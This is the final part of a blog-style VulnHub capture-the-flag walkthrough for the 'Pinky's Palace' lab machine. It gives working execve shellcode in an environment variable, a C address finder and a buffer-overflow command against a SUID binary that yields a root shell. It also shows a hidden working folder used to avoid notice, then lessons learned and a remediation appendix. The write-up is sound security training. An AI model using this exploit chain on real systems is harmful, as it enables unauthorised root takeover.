pinky@pinkys-palace:~$ export MYEGG=$(python -c 'print("\x90" * 100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")')
pinky@pinkys-palace:~$ echo $MYEGG
����������������������������������������������������������������������������������������������������1�H�ѝ��Ќ��H��ST_�RWT^�;
pinky@pinkys-palace:~$

Now we need to figure out where the variable resides in memory. The address can be retrieved using this nifty piece of code I got from somewhere else. Just drop it on the target host and compile.

Note to self: what if the target does not have GCC installed? 

#include <stdlib.h>
int main()
{
	char *addr;
	addr = getenv("MYEGG");
	printf("MYEGG is at %p\n", addr);
	exit(0);
}

Let's compile the code and that address. You may notice I'm creating a folder with a hidden name. This is just a habit not to leave things laying in plain view :) 

pinky@pinkys-palace:~$ mkdir .T0hHfwed3334w.tmp && cd .T0hHfwed3334w.tmp/
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$ gcc getMYEGGAddr.c -o getMYEGGAddr
getMYEGGAddr.c: In function ‘main’:
getMYEGGAddr.c:6:2: warning: implicit declaration of function ‘printf’ [-Wimplicit-function-declaration]
  printf("MYEGG is at %p\n", addr);
  ^~~~~~
getMYEGGAddr.c:6:2: warning: incompatible implicit declaration of built-in function ‘printf’
getMYEGGAddr.c:6:2: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$
.....
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$ ./getMYEGGAddr 
MYEGG is at 0x7fffffffef45

And now fun part 

pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$ ../adminhelper $(python -c 'print("A" * 72 + "\x7f\xff\xff\xff\xef\x45"[::-1])')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE����
# whoami
root
#

Oh oh oh! What's just happened! That's right! A buffer overflow happened! Which executed our shell code which in turn opened /bin/sh as root! Wut wut!

No but really, what we did was we simply fed adminhelper 72 bytes of A filling up it's allocated buffer. In addition to that we appended the address of our $MYEGG env variable containing the shellcode. That address went right into the $RIP register. RIP in this case stands for Return Instruction Pointer, telling our app where to go next. Note, the address needs to be entered backards because of them whole Little Endian shenanigans. Since I'm too lazy to write the numbers backwards I had python do the work for me ([::-1] reverses the array of characters).

From here, It's mere formality 

# whoami
root
# cd /root
# ls -alrht
total 40K
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwxr-xr-x 22 root root 4.0K Jan 28 11:33 ..
lrwxrwxrwx  1 root root    9 Feb  1 00:25 .bash_history -> /dev/null
lrwxrwxrwx  1 root root    9 Feb  2 01:34 .mysql_history -> /dev/null
drwx------  2 root root 4.0K Feb  2 03:55 .ssh
-rw-r--r--  1 root root  207 Mar  5 15:13 root.txt
-rw-------  1 root root  15K Mar  5 15:17 .viminfo
drwx------  3 root root 4.0K Mar  5 15:17 .
# cat root.txt	
===========[!!!CONGRATS!!!]===========

[+] You r00ted Pinky's Palace Intermediate!
[+] I hope you enjoyed this box!
[+] Cheers to VulnHub!
[+] Twitter: @Pink_P4nther

Flag: 99975cfc5Y0m0mmA8d4a2b2c03ce

Final Notes

So, right... things learned...

  • You can bypass local restrictions using something like Squid Proxy which will make your access look like you're coming from the host
  • Buffer overflows / Shellcoding is fun! Especially if you look at the source of programs before they turn into shellcode.
  • Some things work some things don't
  • Google is your friend when you have a hash - look it online before trying to crack it yourself
  • gdb-peda is awesome!! Scripts and wrappers help, as long as you know how they work and what they do so treat them as helper-tools. gdb-peda will make things pretty and all on one screen which is nice but make sure you understand what each line of the output means.
  • It took me some time to crack this one, mostly because I just did not have time to work on it in one sitting. There was also a need to go back to books to freshen up my ASM / Shellcoding skills but it's all fun!

Appendix A: Vulnerability Detail and Mitigation

Access to Private Keys
Rating High
Description Private key for user 'pinky' exposed in base64 clear text.
Impact Once gotten hold of the private key file, an unauthorized will be able to decode / de-obfuscate the file and use it to for unauthorized access to the host.
Remediation Encrypt the key with a strong encryption algorithm.
Password reuse
Rating High
Description mysql account for 'pinkymanage' uses the same password as user's system account
Impact After compromising the 'mysql' account for 'pinkymanage' over the web an attacker would be able to re-use the password to gain console-level access.
Remediation Implement password re-use policies.
Vulnerable binaries with SUID bit
Rating High
Description SUID allows non-root users to execute binaries with root privileges. If such binary is compromised it will allow an unauthorized user to execute any command as root.
Impact ~pinky/adminhelper binary is vulnerable to buffer overflow attacks, allowing injection of proprietary code which enables an attacker to execute arbitrary commands as root. In our case we were able to execute /bin/sh, thus gaining access to root shell.
Remediation Limit SUID permissions to applications from approved sources. Perform code review. Employ the available protection mechanisms to prevent buffer overflow, such as StackShield, StackGuard, etc.
Retrieved from "https://blaksec.com/index.php?title=Pinky%27s_Palace:_v1_~_VulnHub_-_Walkthrough&oldid=422"